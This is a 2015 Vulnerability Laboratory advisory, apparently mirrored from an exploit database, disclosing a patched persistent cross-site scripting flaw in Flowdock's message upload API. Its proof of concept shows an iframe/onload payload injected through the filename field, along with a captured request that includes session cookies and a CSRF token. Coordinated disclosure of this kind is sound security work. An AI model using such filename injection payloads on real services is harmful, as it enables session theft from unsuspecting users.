###########################

# Flowdock API Bug Bounty Persistent Web Vulnerability

###########################

Document Title:
===============
Flowdock API Bug Bounty #2 - Persistent Web Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1572


Release Date:
=============
2015-09-23


Vulnerability Laboratory ID (VL-ID):
====================================
1572


Common Vulnerability Scoring System:
====================================
3.8


Product & Service Introduction:
===============================
Chat & inbox for teams.. One place to talk and stay up-to-date. Flowdock is a team collaboration app for desktop, mobile & web.
Work on things that matter, be transparent and solve problems across tools, teams & time zones. Try it for free for 30 days. Keeping Flowdock`s
environment and customer data safe and secure is a top priority for us. Find more details on our Help pages. Don`t hesitate to contact us
at support@flowdock.com should you have any questions about Flowdock`s security.

(Copy of the Vendor Homepage: https://www.flowdock.com/security )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered an application-side input validation web vulnerability in the official Flowdock online service web-application.


Vulnerability Disclosure Timeline:
==================================
2015-08-11: Researcher Notification & Coordination (Benjamin Kunz Mejri)
2015-08-12: Vendor Notification (Flowdock Security Team - Bug Bounty Program)
2015-08-13: Vendor Response/Feedback (Flowdock Security Team - Bug Bounty Program)
2015-08-13: Vendor Fix/Patch (Flowdock Developer Team)
2015-09-23: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Rally Software
Product: Flowdock - Online Service (Web-Application) [API] 2015 Q3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the officialFlowdock online-service web-application.
The vulnerability allows remote attackers to inject own malicious script codes to the application-side of the vulnerable context function or service module.

The vulnerability is located in the filename value of the messages upload module POST method request. Remote attackers with low privilege application user
accounts are able to inject own malicious script codes to the application-side of the service. The request method to inject malicious context is POST and
the attack vector is located on the application-side of the flowdock api web-service. Remote attackers are able to inject malicious script codes to the
application-side to compromise flowdock accounts by session manipulation or session evasion attacks. The attacker uploads a file with malicious payload
which demonstrates the injection point and the execution point is on arrival at the target flowdock inbox.

The security risk of the persistent input validation web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 3.8.
Exploitation of the persistent input validation web vulnerability requires a low privilege web-application user account and low user interaction.
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent redirect to external sources
and persistent manipulation of affected or connected service module context.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] messages

Vulnerable Parameter(s):
[+] filename


Proof of Concept (PoC):
=======================
The security vulnerability can be exploited by remote attackers with low privilege application user account and low user interaction.
For security demonstration or to reproduce the security vulnerability follow the provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Send message to other user team with upload file
2. Inject a Payload as name (code injection)
3. When the user get notification for the new message the code will execute in the notification
4. Successful reproduce of the vulnerability!

Note: Use tamper data in mozilla to manipulate the session by interception of the name value.


PoC: Vulnerable Source (notification-content msg-body)
<li class="notification unread mention"><div class="notification-avatar"
style="background-image: url(https://d2cxspbh1aoie1.cloudfront.net/avatars/local/3881f043bd28974da66d109d74584c158b6e5b53a2c3457383c4bfdb717fb5eb/80);"></div>
<div class="notification-header">
<span class="notification-author">samir</span>
</div>
<div class="notification-content msg-body">"><iframe src="%281%29%20test%20%28Hadji%20Samir%29%20-%20Flowdock_files/x.html" onload="alert(document.cookie)"> .png</div> [PERSISTENT INJECTED SCRIPT CODE!]
<div class="notification-actions">
<time class="timestamp calendar" title="August 11, 2015 10:18" datetime="2015-08-11T10:18:44"> 10:18 </time>
<a class='notification-action mark-as-read' title='Mark as read'>
<i class='fa fa-check-circle-o'></i>
</a>
</div>
<div class='notification-overflow'></div>
</iframe></div></li>


--- PoC Session Logs [POST] ---
POST https://www.flowdock.com/rest/private/170795/messages
Load Flags[LOAD_BYPASS_CACHE ] Content Size[339] Mime Type[application/json]
Request Headers:
Host[www.flowdock.com]
User-Agent[Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101 Firefox/18.0]
Accept[application/json, text/javascript, */*; q=0.01]
Accept-Language[en-US,en;q=0.5]
Accept-Encoding[gzip, deflate]
X-CSRF-Token[1+JuxclMvc6XcH7Ik/a7EarpPDczMMvQNvm/Zgz4h1rXI9Da8S+IBSLjsK7uWZmc9LghWzbXf50TOG8cOQADQw==]
X-Requested-With[XMLHttpRequest]
Referer[https://www.flowdock.com/app/private/170795]
Content-Length[5784]
Content-Type[multipart/form-data; boundary=---------------------------21230318109481145621093143147]
Cookie[__cfduid=d3ee44a1993dff388a7905fe132c30ef11435013606; _ga=GA1.2.1847177044.1435013486; ga_cid=1847177044.1435013486; __ar_v4=%7CNVE6VSAVAFEITPQZLCROVA%3A20150622%3A1%7CN4SGXQCDSJGPZCWP5DGWWO

%3A20150622%3A1%7CP3GQR6LVEJFUDLS6YOOZNQ%3A20150622%3A1; logged_in=1438944441; referrer=Imh0dHBzOi8vd3d3LmZsb3dkb2NrLmNvbS9hcHAvcHJpdmF0ZS8xNDc2NTIi--a4ab7e15e637896fd674cc4567a82201458e65b7;

_flowdock_session=d296anpDYy9qdDdWNnpTQk13M3I0b0xUSDYyNFRZemNIL01wczkybDF0VU15RzRrNEVtYm1nWGQ1Yk5QRjBEbVZ4cXUvSXR2Vm9qTE5VM2FkUG5jMTBzRjZUTENrQlpOVGJRZ2poZlJXSUN6ZXhINTRyYStEWkozSTBNY0ZPZjVESlpnajlzdjB3K09zY2dZV0YzNG5vcFhrMkQ1TWV0MXlnLz

NpNFgyeFhkSE1tcEg4Ym5zcS9yRWlRckRYYi9ab3BQSFJibUR6M2VQVk53U3FJUGJWMHBZZUNFa1k4NHRzNkU0bEJUZ3RvVXJLWUg1VDI3NWtaMUhlSGJxaFVDVC0taWluRHlWdzNQM2xMSUk4djE3ODgrZz09--2be40dc9a5a653d43872d188a0f084547f4213e0; _gat=1;

_flowdock_credentials=ImhZckJIelNFSVJneFBQV0hMcXhWZk9XaGZpdFBHU2ZhZEtEQ2hoQUkwaUki--2028f858d905618720acb4b77ed51374450a0c01; login=1]
Connection[keep-alive]
Pragma[no-cache]
Cache-Control[no-cache]
Post Data:
POST_DATA[-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="uuid"
kArHQnaGXX7LQB4H
-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="event"
file
-----------------------------21230318109481145621093143147
Content-Disposition: form-data; name="content"; filename=""><iframe src="x" onload=alert(document.cookie)> .png" [PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]
Content-Type: image/png


Reference(s):
https://www.flowdock.com/
https://www.flowdock.com/rest/private/170795/messages


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerbale name input field with the notification-content msg-body class.
Restrict the input, disallow usage of special chars and filter the context to prevent application-side script code injection attacks.
Setup a secure exception-handling that prevents the usage of multiple file extension types to secure against arbitrary file uploads.
Approve the filename and file content typuse to block script codes and other malicious payloads.


Security Risk:
==============
The security risk of the application-side vulnerability in the flowdock online service web-application is estimated as medium. (CVSS 3.8)



Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Hadji Samir [samir@evolution-sec.com]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either
expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers
are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even
if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation
of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break
any vendor licenses, policies, deface websites, hack into databases or trade with fraud/stolen material.

Domains: www.vulnerability-lab.com - www.vuln-lab.com - www.evolution-sec.com
Contact: admin@vulnerability-lab.com - research@vulnerability-lab.com - admin@evolution-sec.com
Section: dev.vulnerability-db.com - forum.vulnerability-db.com - magazine.vulnerability-db.com
Social: twitter.com/#!/vuln_lab - facebook.com/VulnerabilityLab - youtube.com/user/vulnerability0lab
Feeds: vulnerability-lab.com/rss/rss.php - vulnerability-lab.com/rss/rss_upcoming.php - vulnerability-lab.com/rss/rss_news.php
Programs: vulnerability-lab.com/submit.php - vulnerability-lab.com/list-of-bug-bounty-programs.php - vulnerability-lab.com/register/

Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to
electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website
is trademark of vulnerability-lab team & the specific authors or managers. To record, list (feed), modify, use or edit our material contact
(admin@vulnerability-lab.com or research@vulnerability-lab.com) to get a permission.

Copyright © 2015 | Vulnerability Laboratory [Evolution Security]

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-10-11]

###########################